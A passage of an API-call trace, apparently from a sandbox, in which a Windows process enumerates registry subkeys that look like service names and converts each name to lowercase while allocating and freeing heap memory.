(HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.284] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.284] RegEnumKeyW (in: hKey=0x154, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0249.284] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.284] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0249.284] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.284] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f1bf8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0249.284] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.284] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.284] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.284] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.284] RegEnumKeyW (in: hKey=0x154, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0249.284] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.284] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0249.284] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.284] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f1970, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0249.284] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.284] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.284] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.284] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.284] RegEnumKeyW (in: hKey=0x154, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0249.284] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.284] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0249.284] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.284] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f1bf8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0249.284] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.285] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.285] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.285] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.285] RegEnumKeyW (in: hKey=0x154, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0249.285] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.285] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0249.285] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.285] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f1970, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0249.285] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.285] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.285] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.285] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.285] RegEnumKeyW (in: hKey=0x154, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0249.285] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.285] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0249.285] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.285] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f1bf8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0249.285] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.285] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.285] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.285] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.285] RegEnumKeyW (in: hKey=0x154, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0249.285] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.285] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0249.285] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.285] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f1970, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0249.285] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.285] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.285] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.285] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.285] RegEnumKeyW (in: hKey=0x154, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0249.286] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.286] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.286] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.286] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0249.286] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.286] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.286] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.286] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.286] RegEnumKeyW (in: hKey=0x154, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0249.286] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.286] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0249.286] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.286] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f1970, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0249.286] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.286] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.286] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.286] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.286] RegEnumKeyW (in: hKey=0x154, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0249.286] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.286] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.286] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.286] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0249.286] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.286] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.286] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.286] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.286] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0249.286] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.286] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0249.286] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.286] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f1970, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0249.287] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.287] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.287] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.287] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.287] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0249.287] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.287] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.287] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.287] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0249.287] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.287] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.287] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.287] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.287] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0249.287] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.287] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.287] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.287] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f1970, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0249.287] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.287] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.287] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.287] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.287] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0249.287] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.287] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.287] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.287] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0249.287] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.287] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.287] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.287] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.287] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0249.288] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.288] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0249.288] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.288] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f1970, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0249.288] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.288] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.288] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.288] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.288] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0249.288] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.288] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0249.288] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.288] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f1bf8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0249.288] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.288] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.288] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.288] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.288] RegEnumKeyW (in: hKey=0x154, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0249.288] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.288] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.288] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.288] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f1970, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0249.288] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.288] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.288] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.288] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.288] RegEnumKeyW (in: hKey=0x154, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0249.288] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.288] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0249.288] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.288] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f1bf8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0249.288] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.289] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.289] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.289] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.289] RegEnumKeyW (in: hKey=0x154, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0249.289] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.289] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0249.289] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.289] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f1970, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0249.289] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.289] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.289] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.289] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.289] RegEnumKeyW (in: hKey=0x154, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0249.289] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.289] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.289] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.289] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0249.289] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.289] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.289] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.289] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.289] RegEnumKeyW (in: hKey=0x154, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0249.289] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.289] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0249.289] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.289] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f1970, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0249.289] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.289] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.289] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.289] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.289] RegEnumKeyW (in: hKey=0x154, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0249.290] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.290] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0249.290] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.290] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, 